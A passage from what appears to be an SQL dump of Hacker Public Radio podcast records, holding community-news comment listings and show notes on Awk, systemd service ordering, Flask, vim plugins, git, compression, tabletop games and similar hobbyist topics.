<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2412\" target=\"_blank\">2412</a></strong></td>\n    <td>Tue</td>\n    <td>2017-10-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2412\" target=\"_blank\">The Call of Cthulhu</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 33 comments in total.</p>\n<p>There are 15 comments on\n8 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2150#comments\" target=\"_blank\">hpr2150</a></strong>\n(2016-10-28) \"<em>Apollo Guidance Computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2150#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2017-10-29:\n\"The Apollo Saturn V Launch Vehicle Digital Computer (LVDC) Circuit Board\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2302#comments\" target=\"_blank\">hpr2302</a></strong>\n(2017-05-30) \"<em>Bash snippet - nullglob</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2302#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2017-10-05:\n\"nullglob in the wild\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2302#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-10-07:\n\"A wild nullglob appears\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2376#comments\" target=\"_blank\">hpr2376</a></strong>\n(2017-09-11) \"<em>Information Underground: 21st Century Superstar</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2376#3\" target=\"_blank\">Comment 3</a>:\nblindape on 2017-10-29:\n\"Me Too\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2377#comments\" target=\"_blank\">hpr2377</a></strong>\n(2017-09-12) \"<em>A Rambling Drive Into Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2377#3\" target=\"_blank\">Comment 3</a>:\nMrX on 2017-10-18:\n\"Reply to Comment 1\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2377#4\" target=\"_blank\">Comment 4</a>:\nMrX on 2017-10-18:\n\"Answer to comment 2\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2378#comments\" target=\"_blank\">hpr2378</a></strong>\n(2017-09-13) \"<em>Why Docbook?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2017-10-05:\n\"SGML\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#6\" target=\"_blank\">Comment 6</a>:\nclacke on 2017-10-05:\n\"Markdown\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#7\" target=\"_blank\">Comment 7</a>:\nBob Jonkman on 2017-10-17:\n\"Referenced your podcast in our NonProfit SysAdmin meeting\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#8\" target=\"_blank\">Comment 8</a>:\nBob Jonkman on 2017-10-17:\n\"Should have provided a link to the KWNPSA meeting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2381#comments\" target=\"_blank\">hpr2381</a></strong>\n(2017-09-18) \"<em>Benefits of a tabletop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2381#3\" target=\"_blank\">Comment 3</a>:\nklaatu on 2017-10-01:\n\"Thanks for the comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2384#comments\" target=\"_blank\">hpr2384</a></strong>\n(2017-09-21) \"<em>Slackware in Scotland</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2384#2\" target=\"_blank\">Comment 2</a>:\nklaatu on 2017-10-01:\n\"Slackware everywhere!!!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2384#3\" target=\"_blank\">Comment 3</a>:\ncobra2 on 2017-10-07:\n\"MMMMM slackware!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2385#comments\" target=\"_blank\">hpr2385</a></strong>\n(2017-09-22) \"<em>Healthcare Costs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2385#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2017-10-05:\n\"Reply to b-yeezi\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2385#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2017-10-05:\n\"Reply to Bob\"</li></ul><br/>\n</li></ul>\n<p>There are 18 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2394#comments\" target=\"_blank\">hpr2394</a></strong>\n(2017-10-05) \"<em>The Lost Episode</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2394#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2017-11-04:\n\"New Version\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2394#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-11-04:\n\"&quot;Then I can do a followup to this episode.&quot;\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2394#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2017-11-04:\n\"Oi!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2396#comments\" target=\"_blank\">hpr2396</a></strong>\n(2017-10-09) \"<em>Information Underground: State of independence</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2396#1\" target=\"_blank\">Comment 1</a>:\nTheDUDE on 2017-11-04:\n\"The struggle is real\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2397#comments\" target=\"_blank\">hpr2397</a></strong>\n(2017-10-10) \"<em>The Urban Astronomer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2397#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2017-11-04:\n\"Enjoyed this show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2397#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-11-04:\n\"Thanks Kevin\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2398#comments\" target=\"_blank\">hpr2398</a></strong>\n(2017-10-11) \"<em>AutoHotkey Master of Automation ?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2398#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-11-04:\n\"Legalese\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2399#comments\" target=\"_blank\">hpr2399</a></strong>\n(2017-10-12) \"<em>Using Super Glue to create Landmarks on Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2399#1\" target=\"_blank\">Comment 1</a>:\njan on 2017-11-04:\n\"hpr2399\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2399#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2017-11-04:\n\"Shows on the mainframe\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2399#3\" target=\"_blank\">Comment 3</a>:\nShane Shennan on 2017-11-04:\n\"Great Episode!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2402#comments\" target=\"_blank\">hpr2402</a></strong>\n(2017-10-17) \"<em>Petition: the card game for fanatics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2402#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2017-11-04:\n\"Intriguing\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2404#comments\" target=\"_blank\">hpr2404</a></strong>\n(2017-10-19) \"<em>Open Source Gaming #1: Meridian59</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2404#1\" target=\"_blank\">Comment 1</a>:\nTheDUDE on 2017-11-04:\n\"More Links\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2405#comments\" target=\"_blank\">hpr2405</a></strong>\n(2017-10-20) \"<em>Nokia 6 Review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2405#1\" target=\"_blank\">Comment 1</a>:\nQuvmoh on 2017-11-04:\n\"Great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2407#comments\" target=\"_blank\">hpr2407</a></strong>\n(2017-10-24) \"<em>The Lost Episode Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2407#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2017-11-04:\n\"avrdude, fuses, clone programmers etc.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2407#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-11-04:\n\"Ordered\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2407#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2017-11-04:\n\"Thanks, Mike.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2407#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2017-11-04:\n\"Nice ken.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2407#5\" target=\"_blank\">Comment 5</a>:\nNYbill on 2017-11-04:\n\"...We will expect a show about the build, Ken.\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-October/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"hpr-shows-on-archive.org\">HPR Shows on <code>archive.org</code></h3>\n<p>HPR show notes which contain images or which link to other files are something we encourage. However, when uploading these to the Internet Archive (IA) at <code>archive.org</code> there are a number of issues:</p>\n<ul>\n<li><p>If a file has been submitted as part of the original HPR upload we copy it to <code>archive.org</code> and use the URL of the copy in the notes. This mechanism has been added in the past few months and seems to be working fine.</p></li>\n<li><p>If the notes for a show contain links to external files these do not always seem to be accessible through the <code>archive.org</code> interface. For example, the recent show <a href=\"https://hackerpublicradio.org/eps.php?id=2406\">2406</a> links to an image showing the cabling of a CAT6 plug, but the <code>archive.org</code> copy did not show this image (though it does now - see below).</p></li>\n<li><p>One way of dealing with the issue of external files would be to make a copy and place it on the HPR site, then it would be uploaded to the IA as described earlier. This might have copyright issues though.</p></li>\n<li><p>Another way would be to point to a copy on the Wayback Machine (WM). Sometimes the file has been copied there already, or it is possible to request that the WM snapshot it. This is what was done for the IA copy of <a href=\"https://archive.org/details/hpr2406\">show 2406</a>. However, it was a manual process and therefore rather labour-intensive, which is not ideal.</p></li>\n</ul>\n<p>Any suggestions on how to deal with this situation would be appreciated.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2129,'2016-09-29','Gnu Awk - Part 2',1598,'We examine how Awk works, records and fields, printing and program files','<h1 id=\"gnu-awk---part-2\">Gnu Awk - Part 2</h1>\r\n<p>This is the second episode in a series where <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and I will be looking at the <code>AWK</code> language (more particularly its GNU variant <code>gawk</code>). It is a comprehensive interpreted scripting language designed to be used for manipulating text.</p>\r\n<p>I have written out a moderately long set of notes for this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2129/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2129/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>GNU Awk User’s Guide</em>: <a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\" class=\"uri\">https://www.gnu.org/software/gawk/manual/html_node/index.html</a></li>\r\n<li><em>Awk - A Tutorial and Introduction</em>: <a href=\"https://www.grymoire.com/Unix/Awk.html\" class=\"uri\">https://www.grymoire.com/Unix/Awk.html</a></li>\r\n<li>Wikipedia article on <em>AWK</em>: <a href=\"https://en.wikipedia.org/wiki/AWK\" class=\"uri\">https://en.wikipedia.org/wiki/AWK</a></li>\r\n<li>Alfred V. Aho, Brian W. Kernighan, Peter J. Weinberger (1988). <em>The AWK Programming Language</em>. Addison-Wesley Publishing Company. ISBN 9780201079814</li>\r\n<li>Previous show on HPR:\r\n<ul>\r\n<li>“<em>Gnu Awk - Part 1</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=2114\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2114</a></li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Example data file 1 - whitespace delimited “<code>file1.txt</code>”: <a href=\"https://hackerpublicradio.org/eps/hpr2129/file1.txt\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2129/file1.txt</a></li>\r\n<li>Example data file 1 - comma delimited “<code>file1.csv</code>”: <a href=\"https://hackerpublicradio.org/eps/hpr2129/file1.csv\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2129/file1.csv</a></li>\r\n<li>Example Awk file 1 “<code>example1.awk</code>”: <a href=\"https://hackerpublicradio.org/eps/hpr2129/example1.awk\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2129/example1.awk</a></li>\r\n<li>Example Awk file 2 “<code>example2.awk</code>”: <a href=\"https://hackerpublicradio.org/eps/hpr2129/example2.awk\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2129/example2.awk</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,94,1,'CC-BY-SA','Awk utility, Awk language, gawk, text manipulation',0,0,1),
(2134,'2016-10-06','Shutdown Sequence Systemd',888,'Klaatu demonstrates how to sequence systemd shutdown processes','<p>Set up a service to trigger FIRST (this would be the shutdown service):\r\n</p>\r\n\r\n<pre>\r\n# cat /lib/systemd/system/fakehalt.service\r\n\r\n[Unit]\r\nDescription=Fake-Halt Service\r\nAfter=fakevm.service\r\nRequires=fakevm.service\r\n\r\n[Service]\r\nType=simple\r\nExecStart=/usr/local/bin/fakehalt.sh #this will fail until fakevm succeeds\r\nExecReload=/usr/local/bin/fakehalt.sh\r\n</pre>\r\n\r\n<p>\r\nAnd then set up the one that you want to run and complete BEFORE shutdown is permitted:</p>\r\n\r\n<!-- Comment below changed from /lib/systemd/system/fake.service -->\r\n<pre>\r\n# cat /lib/systemd/system/fakevm.service\r\n[Unit]\r\nDescription=Fake Service\r\nBefore=fakehalt.service\r\n\r\n[Service]\r\nType=simple\r\nExecStart=/usr/local/bin/fake.sh\r\n</pre>\r\n\r\n<p>\r\nCreate a script to represent the VM shutdown (or any process that you cannot anticipate the duration of)</p>\r\n\r\n<pre>\r\n# cat /usr/local/bin/fake.sh\r\n#!/bin/sh\r\n\r\ntest=\"1\"\r\nsleep 21\r\nif [ X\"$test\" = \"X1\" ]; then\r\n    echo \"vm has shut down\" > /tmp/fake.test\r\n    exit 0\r\nelse \r\n    exit 1\r\nfi\r\n</pre>\r\n\r\n<p>\r\nAnd a script to pass for a shutdown signal:\r\n</p>\r\n\r\n<pre>\r\n# cat /usr/local/bin/fakehalt.sh\r\n#!/bin/sh\r\n\r\nsleep 3\r\ncat /tmp/vmfake.test > /tmp/haltfake.test\r\n</pre>\r\n\r\n<p>\r\nStart the service you want to happen AFTER the first one:\r\n</p>\r\n\r\n<pre>\r\n# systemctl start fakehalt\r\n</pre>\r\n\r\n<p>\r\nWhat \"should\" happen is that fakehalt will fail to find a file called /tmp/fake.test to cat from, and so everything should go horribly wrong.\r\n</p><p>\r\nWhat actually happens is that systemd places fakehalt service on hold until it gets an exit 0 signal from the fake service. So if you wait 21 seconds and cat /tmp/fakehalt.test, you see that the cat from a file that did not exist when fakehalt was started - actually succeeded.\r\n</p>\r\n',78,0,1,'CC-BY-SA','systemd,service',0,0,1),
(2141,'2016-10-17','Make Web Python with Flask',2193,'Klaatu talks about Flask, a Python-based web microframework','<p>Klaatu talks about the Python web framework, Flask. Think Ruby-on-Rails but for Python, or a lightweight Django.</p>\r\n<p>Links in this show:</p>\r\n<ul>\r\n<li><p><a href=\"https://pip.pypa.io/en/stable/installing/\" class=\"uri\">https://pip.pypa.io/en/stable/installing/</a></p></li>\r\n<li><p><a href=\"https://flask.pocoo.org/\" class=\"uri\">https://flask.pocoo.org/</a></p></li>\r\n</ul>\r\n',78,0,1,'CC-BY-SA','Python,Flask,web framework',0,0,1),
(2146,'2016-10-24','Cards Against Humanity Tabletop Game',1231,'Klaatu reviews Cards Against Humanity','<p>Klaatu reviews the tabletop game, Cards Against Humanity. This is a non-offensive episode, so you can listen to it regardless of your feelings about the game.</p>\r\n',78,95,1,'CC-BY-SA','game,gaming,tabletop game,card,boardgame',0,0,1),
(2152,'2016-11-01','Apples to Apples Tabletop Game',821,'Klaatu reviews Apples to Apples, a tabletop card game','<p>Klaatu reviews and ponders the game mechanics of Apples to Apples, and how they do and do not compare to Cards Against Humanity.</p>\r\n',78,95,0,'CC-BY-SA','game,gaming,tabletop game,card',0,0,1),
(2120,'2016-09-16','WEBDUMP wmap EyeWitness phantomjs selenium',677,'Automate the process of finding unique websites, removing dupes and getting screenshots','<ul>\r\n<li><p>video<br />\r\n<a href=\"https://vimeo.com/180974163\" class=\"uri\">https://vimeo.com/180974163</a></p></li>\r\n<li><p>video for Burp suite wmap Change Request Method Active Scanner<br />\r\n<a href=\"https://vimeo.com/178749543\" class=\"uri\">https://vimeo.com/178749543</a></p></li>\r\n<li><p>Cygwin webdump script that uses curl,sed,gawk ( needs to auto detect https or http.. only supports https on port 443 …)<br />\r\n<a href=\"https://rmccurdy.com/scripts/WEBDUMP_BURP\" class=\"uri\">https://rmccurdy.com/scripts/WEBDUMP_BURP</a></p></li>\r\n<li><p>eyewitness<br />\r\n<a href=\"https://github.com/ChrisTruncer/EyeWitness\" class=\"uri\">https://github.com/ChrisTruncer/EyeWitness</a></p></li>\r\n</ul>',36,0,0,'CC-0','curl,sed,gawk,Burp Suite,EyeWitness,MetaSploit,wmap',0,0,1),
(2128,'2016-09-28','Various glass bottle cutting methods',857,'This episode I chat briefly about glass bottle cutting and my experiences with it.','<p>This episode describes various methods of glass bottle cutting and my experience</p>\n',36,0,0,'CC-BY-SA','glass,glass cutting,bottle cutting',0,0,1),
(2140,'2016-10-14','Vim Plugins I Use',1590,'In this episode, I talk about vim plugins as I drive home from work','<h2 id=\"vim-plugins-i-use\">Vim Plugins I Use</h2>\r\n<ul>\r\n<li><a href=\"https://github.com/tpope/vim-pathogen.git\">vim-pathogen</a></li>\r\n<li><a href=\"https://github.com/tpope/vim-unimpaired.git\">vim-unimpaired</a></li>\r\n<li><a href=\"https://github.com/tpope/vim-surround.git\">vim-surround</a></li>\r\n<li><a href=\"https://github.com/tpope/vim-speeddating.git\">vim-speeddating</a></li>\r\n<li><a href=\"https://github.com/tpope/vim-repeat.git\">vim-repeat</a></li>\r\n<li><a href=\"https://github.com/plasticboy/vim-markdown.git\">vim-markdown</a></li>\r\n<li><a href=\"https://www.vim.org/scripts/script.php?script_id=2226\">vimwiki</a></li>\r\n<li><a href=\"https://github.com/chrisbra/csv.vim.git\">csv.vim</a></li>\r\n<li><a href=\"https://github.com/vim-airline/vim-airline.git\">vim-airline</a></li>\r\n<li><a href=\"https://github.com/vim-scripts/Align.git\">align.vim</a></li>\r\n<li><a href=\"https://github.com/godlygeek/tabular.git\">tabular</a></li>\r\n<li><a href=\"https://github.com/scrooloose/nerdtree.git\">nerdtree</a></li>\r\n<li><a href=\"https://github.com/scrooloose/nerdcommenter.git\">nerdcommenter</a></li>\r\n<li><a href=\"https://github.com/ctrlpvim/ctrlp.vim.git\">ctrlp</a></li>\r\n<li><a href=\"https://github.com/niklasl/vim-rdf.git\">vim-rdf</a></li>\r\n</ul>\r\n',300,82,0,'CC-BY-SA','vim,plugin',0,0,1),
(2130,'2016-09-30','Git push to two repositories at once',1464,'Klaatu demonstrates how to perform one git push to two separate repositories','<ol type=\"1\">\r\n<li><p>Set up your git remotes (‘origin’ and ‘foo’)</p></li>\r\n<li><p>Create a new remote (‘all’) entry to encompass the existing targets</p></li>\r\n<li><p>Adjust ssh config as needed</p></li>\r\n<li><p>git push all HEAD</p></li>\r\n</ol>\r\n',78,81,0,'CC-BY-SA','git,git push,multiple repositories',0,0,1),
(2159,'2016-11-10','Coup Tabletop Game',937,'Klaatu raves about the tabletop game, Coup','<p><a href=\"https://www.kickstarter.com/projects/2012515236/coup-bluff-and-deception-in-the-world-of-the-resis\" class=\"uri\">https://www.kickstarter.com/projects/2012515236/coup-bluff-and-deception-in-the-world-of-the-resis</a></p>\r\n',78,95,0,'CC-BY-SA','game,gaming,tabletop game',0,0,1),
(2164,'2016-11-17','Skipbo Tabletop Game',1331,'Klaatu talks about the surprisingly amazing game from Mattel','<p>Game design by Hazel \"Skip\" Bowman.</p>\r\n<p><a href=\"https://boardgamegeek.com/boardgame/1269/skip-bo\" class=\"uri\">https://boardgamegeek.com/boardgame/1269/skip-bo</a></p>\r\n',78,95,0,'CC-BY-SA','game,gaming,tabletop game',0,0,1),
(2133,'2016-10-05','Compression technology part 1',1200,'Introduction to data reduction methods: Run-Length-Encoding','<p>\r\nFax (short for facsimile), sometimes called telecopying or telefax (the latter short for telefacsimile), is the telephonic transmission of scanned printed material (both text and images), normally to a telephone number connected to a printer or other output device. The original document is scanned with a fax machine (or a telecopier), which processes the contents (text or images) as a single fixed graphic image, converting it into a bitmap, and then transmitting it through the telephone system in the form of audio-frequency tones. The receiving fax machine interprets the tones and reconstructs the image, printing a paper copy.[1] Early systems used direct conversions of image darkness to audio tone in a continuous or analog manner. Since the 1980s, most machines modulate the transmitted audio frequencies using a digital representation of the page which is compressed to quickly transmit areas which are all-white or all-black.\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Fax\">https://en.wikipedia.org/wiki/Fax</a>\r\n</p>\r\n<p>\r\nRun-length encoding (RLE) is a very simple form of lossless data compression in which runs of data (that is, sequences in which the same data value occurs in many consecutive data elements) are stored as a single data value and count, rather than as the original run. This is most useful on data that contains many such runs. Consider, for example, simple graphic images such as icons, line drawings, and animations. It is not useful with files that don\'t have many runs as it could greatly increase the file size.\r\n</p>\r\n<p>\r\nRLE may also be used to refer to an early graphics file format supported by CompuServe for compressing black and white images, but was widely supplanted by their later Graphics Interchange Format. RLE also refers to a little-used image format in Windows 3.x, with the extension rle, which is a Run Length Encoded Bitmap, used to compress the Windows 3.x startup screen.\r\n</p>\r\n<p>\r\nTypical applications of this encoding are when the source information comprises long substrings of the same character or binary digit.\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Run-length_encoding\">https://en.wikipedia.org/wiki/Run-length_encoding</a>\r\n</p>',343,0,0,'CC-BY-SA','compression',0,0,1),
(2135,'2016-10-07','Audio speedup script',1679,'I want to speed up some of my podcasts and truncate silence in them too so I wrote a script to do it','<h1 id=\"audio-speedup-script\">Audio speedup script</h1>\r\n<p>Back in 2015 Ken Fallon did a show (episode <a href=\"https://hackerpublicradio.org/eps.php?id=1766\" title=\"The Sox of Silence\">1766</a>) on how to use <code>sox</code> to truncate silence and speed up audio.</p>\r\n<p>Inspired by this I wrote a Bash script to aid my use of the technique, which I thought I’d share with you.</p>\r\n<p>I have written out detailed notes for this episode describing the script and examining how it works and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2135/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2135/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR show 1766 “<em>The Sox of Silence</em>”: <a href=\"https://hackerpublicradio.org/eps.php?id=1766\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1766</a></li>\r\n<li>Original article on doing clever things with <strong>sox</strong>: <a href=\"https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/\" class=\"uri\">https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/</a></li>\r\n<li>The <code>speedup</code> script for download: <a href=\"https://hackerpublicradio.org/eps/hpr2135/speedup\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2135/speedup</a></li>\r\n<li>The repository containing the <code>speedup</code> script on GitLab: <a href=\"https://gitlab.com/davmo/hprmisc\" class=\"uri\">https://gitlab.com/davmo/hprmisc</a></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','bash,sox,speed',0,0,1),
(2137,'2016-10-11','Pause All The Things, Sega Genesis',379,'Learn how to create a hardware pause switch for the sega genesis','<p>\r\nCorrection, the microcontroller would have to watch the vertical sync, I misspoke.\r\n</p>\r\n<p>\r\n<img width=\"80%\" src=\"https://theadesilva.com/hpr_segapause.jpg\" alt=\"Pausing the Sega Genesis\" />\r\n</p>\r\n',115,0,0,'CC-BY-SA','genesis, pause console',0,0,1),
(2138,'2016-10-12','Hack the Box with Bandit',893,'NYbill talks about a Linux \'War Game\' called Bandit.','<p>NYbill talks about a Linux ‘War Game’ called Bandit.</p>\r\n<p><a href=\"https://overthewire.org/wargames/bandit/\" class=\"uri\">https://overthewire.org/wargames/bandit/</a></p>',235,0,0,'CC-BY-SA','Linux,wargame,Bandit',0,0,1),
(2139,'2016-10-13','From Org Mode to LaTeX Beamer to PDF',454,'My presentation pipeline','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>I have recently been fortunate enough to give a presentation to two conferences, PyCon Australia and Kiwi Pycon, the Australian and New Zealand Python conferences, respectively. I\'m not going to give a talk based around the presentation, as it\'s rather code heavy, and we know that doesn\'t translate well to an audio medium.</p>\r\n<p>Instead, what I wanted to do, was to talk a little bit about the presentation pipeline that I used to prepare this talk. The input is a plain text file, edited in Emacs, using a mode called Org mode. The intermediate form is a LaTeX file, using the document class Beamer which is designed for presentations that are going to be projected. Beamer is apparently the German word for digital projector. The final output form is a plain PDF.</p>\r\n<p>HPR isn\'t known for having many Emacs talks, so I should probably explain the idea of modes. Emacs has major modes and minor modes. For every document that you\'re 